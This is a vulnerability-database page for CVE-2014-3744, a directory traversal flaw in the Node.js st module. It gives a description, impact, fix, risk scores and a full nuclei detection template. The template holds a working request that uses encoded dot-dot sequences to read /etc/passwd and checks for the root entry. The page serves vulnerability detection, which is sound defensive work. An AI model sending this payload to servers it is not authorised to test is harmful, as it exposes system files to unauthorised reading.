HexBrain

Browse / CVEs / CVE-2014-3744

CVE-2014-3744· nodejs / node.js· CWE-22

Node.js st module Directory Traversal

highseverity
7.5CVSS score
34%likelihood of exploitation, next 30 days
98%of all CVEs are less likely
Readycheck to confirm it

A directory traversal vulnerability in the st module before 0.2.5 for Node.js allows remote attackers to read arbitrary files via a %2e%2e (encoded dot dot) in an unspecified path.

Impact

An attacker can read sensitive files on the server, potentially leading to unauthorized access or exposure of sensitive information.

Fix

Upgrade to a patched version of the st module or use an alternative module that is not vulnerable to directory traversal.

How to confirm it

Send: GET {{BaseURL}}/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd
Positive when: matches /root:.*:0:0:/ AND status 200

Run it with nuclei: nuclei -id CVE-2014-3744 -u <target>. This check is not marked as verified by its authors.

The full check
id: CVE-2014-3744

info:
  name: Node.js st module Directory Traversal
  author: geeknik
  severity: high
  description: A directory traversal vulnerability in the st module before 0.2.5 for Node.js allows remote attackers to read arbitrary files via a %2e%2e (encoded dot dot) in an unspecified path.
  impact: |
    An attacker can read sensitive files on the server, potentially leading to unauthorized access or exposure of sensitive information.
  remediation: |
    Upgrade to a patched version of the st module or use an alternative module that is not vulnerable to directory traversal.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2014-3744
    - https://github.com/advisories/GHSA-69rr-wvh9-6c4q
    - https://snyk.io/vuln/npm:st:20140206
    - https://nodesecurity.io/advisories/st_directory_traversal
    - http://www.openwall.com/lists/oss-security/2014/05/13/1
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2014-3744
    cwe-id: CWE-22
    epss-score: 0.34012
    epss-percentile: 0.98411
    cpe: cpe:2.3:a:nodejs:node.js:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: nodejs
    product: node.js
    shodan-query: cpe:"cpe:2.3:a:nodejs:node.js"
  tags: cve2014,cve,lfi,nodejs,st,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from